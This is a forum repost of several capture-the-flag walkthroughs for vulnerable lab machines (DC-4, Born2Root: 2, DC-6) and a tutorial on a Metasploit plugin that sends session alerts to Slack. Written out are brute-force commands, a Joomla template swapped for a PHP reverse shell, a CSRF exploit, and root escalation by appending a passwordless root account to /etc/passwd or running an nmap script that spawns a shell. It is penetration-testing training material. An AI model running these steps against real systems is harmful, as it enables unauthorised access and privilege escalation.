Login

**NINZA** · 05-14-2020, 05:37 PM

0			0

Today we are going to take another boot2root challenge known as “DC-4”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

Security Level: Beginner
Penetrating Methodology
Scanning

Discovering Targets IP
Network scanning (Nmap)

Exploiting

Surfing HTTP service port
HTTP Login credential Bruteforce (Burpsuite)
Command Injection
SSH Login Credentials Bruteforce (Hydra)

Lateral Movement

Logging into SSH and Enumerating Directories
Obtain credentials in /var/mail directory

Privilege Escalation

Check Sudo rights
Adding new user /etc/passwd with sudo
Access root directory
Capture the flag

Walkthrough
Scanning
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687]

We found our Targets IP Address 192.168.1.101. Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
[Image: 2.png?w=687]

Exploiting
From nmap result we found HTTP service is running on port 80. So, we browsed the Targets IP Address in the browser and found an Admin Information Security Login page. We clearly need to find credentials for it. Let’s work on that.
We found that the HTTP service runs on port 80, from nmap results. So, we browse the IP address of Targets in the browser and found the Admin Information Security Login page. Now credentials need to be found for login, Let’s work on this.
[Image: 3.png?w=687]

We Fired UP!! burpsuite using rockyou.txt to get valid login.
Username- admin
After bruteforcing, we have found the password for Admin i.e
Password- happy
[Image: 4.png?w=687]

We have successfully logged in as Admin. Under system tools, the hyperlink command looks suspicious here. So, let’s check it out.
[Image: 6.png?w=687]

Command option looks useful as It displayed some options to Run Command. Here we used list file option which displayed files of the database. We also got a hint from the ls command which executes ls-l, we might make some changes in it.
[Image: 7.png?w=687]

So, we captured the Webpage request using Burpsuite and Send the request to the repeater. Here we can make the desired changes to the request and check out its response.
[Image: 8.png?w=687]

Let’s check out subdirectories in the /home directory. We have found 3 users i.e Charles, Jim and Sam.
[Image: 9.png?w=687]

Exploring the home directory for user Jim, after that, we checked out the backups folder.
[Image: 10.png?w=687]

We have found a old-passwords.bak file is a backup password file.
[Image: 11.png?w=687]

Exploring the contents of the file, we found a list of passwords. They might come in handy later.
[Image: 12.png?w=687]

We thought of checking /etc/passwd is readable or not and found some useful usernames.
[Image: 15.png?w=687]

We have created a dictionary for users and passwords with the previously discovered credentials. Let’s bruteforce for ssh login using hydra.
hydra -L users -P passwords 192.168.1.101 ssh
1
hydra -L users -P passwords 192.168.1.101 ssh
So, the credentials found:
Login- jim
Password- jibril04
[Image: 16.png?w=687]

Lateral Moment
Logging into ssh using the credentials.
Username- jim
Password- jibril04
ssh [email protected]
1
2
3
Username- jim
Password- jibril04
ssh [email protected]
While enumeration, we found two files and read their contents. But they didn’t give direct clue to move ahead.
ls
cat test.sh
cat mbox
1
2
3
ls
cat test.sh
cat mbox
when I open mbox, I saw a test mail in this, send by root to jim.
[Image: 17.png?w=687]

After some time thinking, it suddenly strikes us to check the /var/mail folder. Maybe it might contain something, and our instinct was right. We have found some credentials.
Username- Charles
Password- ^xHhA&hvim0y
1
2
Username- Charles
Password- ^xHhA&hvim0y
[Image: 18.png?w=687]

Privilege Escalation
Let’s login into charles with password ^xHhA&hvim0y.
su charles
1
su charles
After enumeration, we check sudo right for Charles and found that he run the editor teehee as root with no password. After that, we have added raaj in the etc/passwd using echo and teehee as shown.
sudo -l
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
1
2
sudo -l
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Logging into raaj as root user and inside the root directory, we have found our FINAL FLAG.
su raaj
cd /root
ls
cat flag.txt
1
2
3
4
su raaj
cd /root
ls
cat flag.txt
[Image: 19.png?w=687]

You’re going to learn ShellHerder in this post. It is a technique used to monitor all the sessions of Metasploit/Meterpreter. The basic idea to create it, that new incoming sessions could be easily monitored when Intruder cannot access the listener. This approach is quite helpful when a Pen-tester wants to get an alert for live phishing campaigns or another attack by monitoring for new sessions.
Table of Content
Introduction to ShellHerder
Registering on Slack

Add WebHooks App
Configure WebHooks App

Download & Configure ShellHerder
Working Demo
Introduction to ShellHerder
ShellHerder uses session subscriptions to monitor activity and then sends an alert to Slack using Slack’s Incoming WebHooks. The alert is sent using the WebHook URL and a POST request and will tag a specified username and provide the computer name of the server with the session.
Registering on Slack
We need a workspace on slack to use slack. To do this we need to register on slack. To create a new workspace on slack,

[To see content please register here]

. This will require an email address. After that, it is required to create a channel. Here, we named our channel “live server”.
[Image: 1.png?w=687&ssl=1]

Add WebHooks App
To receive the updates from the Metasploit, we need to an app installed in the channel. Webhooks is the app that is perfect for this job. Now in order to add Webhooks, we first clicked on the Add an app Button inside our channel. Now, we will search for incoming Webhook and add it.
[Image: 2.png?w=687&ssl=1]

Configure WebHooks App
After adding the Webhooks, we will be asked to configure some settings for the app. This will include the configuring the channel on which the incoming notifications will be broadcasted. Here we select our channel and click on the Add Integration Button.
[Image: 3.png?w=687&ssl=1]

After clicking the Add integration button, we will be presented with the WebHooks URL. Copy this URL, we are going to need it while we configure Notify.
[Image: 4.png?w=687&ssl=1]

Download & Configure ShellHerder
Now, we need to work upon our Kali Linux. We are going to use Shell Herder to connect to slack. This Metasploit plugin is aimed to keep an eye on the sessions. All including the ones which are opened or closed. It uses session subscriptions to monitor activities and can be linked to slack, which we just got setup.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

After downloading Shell Herder via git clone, we moved the directory inside the Metasploit Framework. So that we can use it directly inside the Framework. After copying the directory, we open an instance of the Metasploit Framework and load the notify plugin as shown in the image given image.
[Image: 6.png?w=687&ssl=1]

Now, we will use the command notify_show_options to check for any pre-configured settings. Now that we can’t find any. It was time to set the Webhook URL, which we copied earlier and add it inside the notify plugin. Also, we set the Slack User id and Source. After entering the relevant data, use the save command to save the configuration. Now that we have configured the Notify, Let us send a test message to see if the configuration is correct and working.
load notify
notify_show_options
notify_set_webhook <Above webhook URL>
notify_set_user @Ignitelab
notify_set_source Kali-Linux
notify_save
notify_test
1
2
3
4
5
6
7
load notify
notify_show_options
notify_set_webhook <Above webhook URL>
notify_set_user @Ignitelab
notify_set_source Kali-Linux
notify_save
notify_test
[Image: 7.png?w=687&ssl=1]

As we can see in the given image that, the slack received the test message we sent via Notify.
[Image: 8.png?w=687&ssl=1]

Working Demo
Now, to test the real working of Notify, we will exploit a machine, so that we can observe, whether or not it will notify us, when we get a session. We are exploiting a Windows machine using web delivery.
[Image: 9.png?w=687&ssl=1]

As we expected, we got the notification on our slack channel, as soon as we got the session.
[Image: 10.png?w=687&ssl=1]

Hello Friends!! Today we are going to take another CTF challenge named “Born2Root: 2”. The credit for making this VM machine goes to “

[To see content please register here]

”. It is available on the

[To see content please register here]

. Although there is no description provided at the current time on the Vulnhub website, we assume that we will have to gain the root access and find a flag.
Security Level: Intermediate
Penetrating Methodology

Scanning
Enumeration
Exploitation
Privilege Escalation
Capture the Flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found out target: 192.168.1.9
Time to scan the Target’s IP with nmap. Nmap scan result shows 3 major ports open, 22(SSH), 88(HTTP) and 111(RPC).
nmap -A 192.168.1.9
1
nmap -A 192.168.1.9
[Image: 2.png?w=687&ssl=1]

Since port 80 is running HTTP, so we considered opening the Target IP Address on the Browser. This gives us an attractive looking webpage although after spending a considerable amount of time. We found that this is nothing but a distraction. We couldn’t find anything of importance on the website.
[Image: 3.png?w=687&ssl=1]

So now we moved on to try the Directory Bruteforcing to get any hints. The drib scan gives us the Joomla directory. This is a major breakthrough. Now it’s time to exploit machine through Joomla.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Now that we have found the joomla directory, we will browse the joomla directory on our browser. Here we have the blog made by the author. This is titled Tim’s Blog. This could be a hint for a username. Let’s keep that in mind. Now as we can see that we have a Login Form in the bottom right. Now we will have to guess the user credentials.
[Image: 5.png?w=687&ssl=1]

Now, it is by convention to try the default credentials first. A quick search, informs us that the default username for Joomla is ‘admin’. Now for the password, we will have to perform a dictionary attack. For that, we will create a dictionary from the words present on the webpage using ‘cewl’.
cewl

[To see content please register here]

> dict.txt
1
cewl

[To see content please register here]

> dict.txt

Now that we have the dictionary named dict.txt. Its time to perform the bruteforce. We will use the BurpSuite to perform the bruteforce. To learn more about this, refer to this

[To see content please register here]

. This bruteforce force gives us “travel” as the password.
[Image: 7.png?w=687&ssl=1]

Now we will use these credentials to login in Joomla:
Username: admin
Password: travel
1
2
Username: admin
Password: travel
Now that we have logged in on the Joomla as the SuperUser. To exploit the Joomla server, we will use the php reverse shell. They can be found in Kali Linux. We will move on to the Template Section. To do so, we will first click on the Extensions Option on the Menu. Then, traverse in the beez3 template and choose Customise. This is open an edit section as shown in the image. Now, select the index.php and replace the text inside the index.php with our reverse shell. Remember to change the IP Address and/or change the port.
[Image: 8.png?w=687&ssl=1]

After editing the index.php, save the file by clicking on the Save Button. Now we have successfully replaced the index.php with our reverse shell script. Now, all that’s left to do is run the index.php. Now to get a session, we need a listener, where we will get our reverse shell. We will use netcat for creating a listener as shown in the image given below.
After we got the shell, now it was time to enumerate the machine in order to exploit further. It took us a couple of hours of hard work around the machine. We ran a bunch of scripts and much else. At last, our search at the ended when we stumbled upon the opt directory. Inside this directory, we found the scripts directory and that contained the fileshare.py. Upon close inspection of the fileshare.py file, we got the login credentials as shown in the given image.
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt
ls
cd scripts
ls
cat fileshare.py
1
2
3
4
5
6
7
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt
ls
cd scripts
ls
cat fileshare.py
[Image: 9.png?w=687&ssl=1]

After finding the credentials all that was left was to login as Tim. For that we used the su command and gave the following credentials:
Username: tim
Password: lulzlol
1
2
Username: tim
Password: lulzlol
After logging in as Tim, we ran the sudo with -l parameter to give us the user rights of the user tim. As we can see in the given image, tim has all the permissions. After this, we traversed inside the root directory using the cd command. Here we found the final flag.
su tim
sudo -l
sudo su
cd /root
ls
cat flag.txt
1
2
3
4
5
6
su tim
sudo -l
sudo su
cd /root
ls
cat flag.txt
[Image: 10.png?w=687&ssl=1]

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. This isn’t an overly difficult challenge so should be great for beginners. The ultimate goal of this challenge is to get root and to read the one and only flag. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Download it from here –

[To see content please register here]

Table of Content

Scanning

Netdiscover
NMAP

Enumeration

WPSCAN

Exploiting

Searchsploit

Privilege Escalation

sudo rights

Capture the Flag

Walkthrough
Here the author has left a clue which will be helpful in this CTF.
“OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.”
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
That should save you a few years. ?
[Image: 0.png?w=687]

Scanning
Now, start the CTF challenge by scanning the network and identifying host IPs. As illustrated below, we can identify our host IP 192.168.1.103.
[Image: 1.png?w=687]

Then, it’s time to run nmap following command to identify open ports and running services.
nmap -A 192.168.1.103
1
nmap -A 192.168.1.103
As ever, this time also we got port 22 and 80 is open for SSH and HTTP services, moreover all HTTP services are made to redirected on domain i.e. //wordy
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
1
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
[Image: 2.png?w=687]

Therefore, we thought of adding the Domain Name into our Host file, so that we will be able to access http services.
[Image: 3.png?w=687]

Enumeration
Since port 80 is open, we explored the Domain Name on the browser. We discovered the webpage got a WordPress CMS installed on it.
[Image: 4.png?w=687]

Since I didn’t find any remarkable clue on the website, therefore, the next idea that came to us was to run a wpscan on the webpage and see what the scan enumerates for us.
[Image: 5.png?w=687]

Hmmm!! Not bad, here I got usernames as shown in the below image.
[Image: 6.png?w=687]

Moreover, in a text file named users, I saved all the usernames that I had found from WPScan. If you remember the CLUE I discussed at the beginning of the post, generating a password dictionary would be helpful.
[Image: 7.png?w=687]

wpscan --url //wordy/ -U users -P password
1
wpscan --url //wordy/ -U users -P password
We have successfully found the password for the mark; Let’s make good use of them.
mark:helpdesk01
[Image: 8.png?w=687]

Exploiting
After login into WordPress, I notice a plugin “Active-monitor” is installed in the dashboard.
[Image: 8_1.png?w=687]

So, quickly I checked for its exploit inside searchsploit and surprisingly I found this plugin is vulnerable to reflected XSS and CSRF attack, moreover this vulnerability cloud lead to remote code execution. You will get its exploit from searchsploit which is an html form to exploit CSRF attack.
[Image: 9.png?w=687]

From searchsploit I found 45274.html file to exploit CRSF attack, but before executing it we need to make to some Cosmo changes as shown below and launch netcat listener.
[Image: 10.png?w=687]

Now, execute the shell.html file to get the reverse connection.
[Image: 11.png?w=687]

OKAY!! We got a reverse connection at netcat, where I need to run python command to spawn a proper shell. While traversing I found a bash “backup.sh” and tar “backups.tar.gz” and moreover I found a text file “things-to-do” from inside /home/mark/stuff which stored credential for another user “graham” as shown below.
graham : GSo7isUM1D4
[Image: 12.png?w=687]

Privilege Escalation
As we knew port 22 is open for ssh and here I try to connect with ssh using graham : GSo7isUM1D4 and luckily I got ssh access as shown below. Since this is boot to root challenge where I need to escalate privilege for root access.
ssh [email protected]
1
ssh [email protected]
Therefore, I check for sudo rights, where I found Graham can execute backup.sh as jens without a password.
sudo -l
1
sudo -l
[Image: 13.png?w=687]

After reading this bash script, I decided to edit this file by adding /bin/bash as shown below.
[Image: 14.png?w=687]

Then with the sudo right I executed the following command successfully login as jeans.
sudo -u jens /home/jens/backups.sh
1
sudo -u jens /home/jens/backups.sh
Now when we have access to jens shell and further I check sudo rights for jeans. As per suoders file permission, jens can run nmap as root. To escalate root privilege, I generate a nmap script to access /bin/sh shell called root.nse and then use nmap command to run the script with sudo.
echo "os.execute('/bin/sh')">/tmp/root.nse
sudo nmap --script=/tmp/root.nse
1
2
echo "os.execute('/bin/sh')">/tmp/root.nse
sudo nmap --script=/tmp/root.nse
WELL DONE! We have found the final flag and complete the challenges.
[Image: 15.png?w=687]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis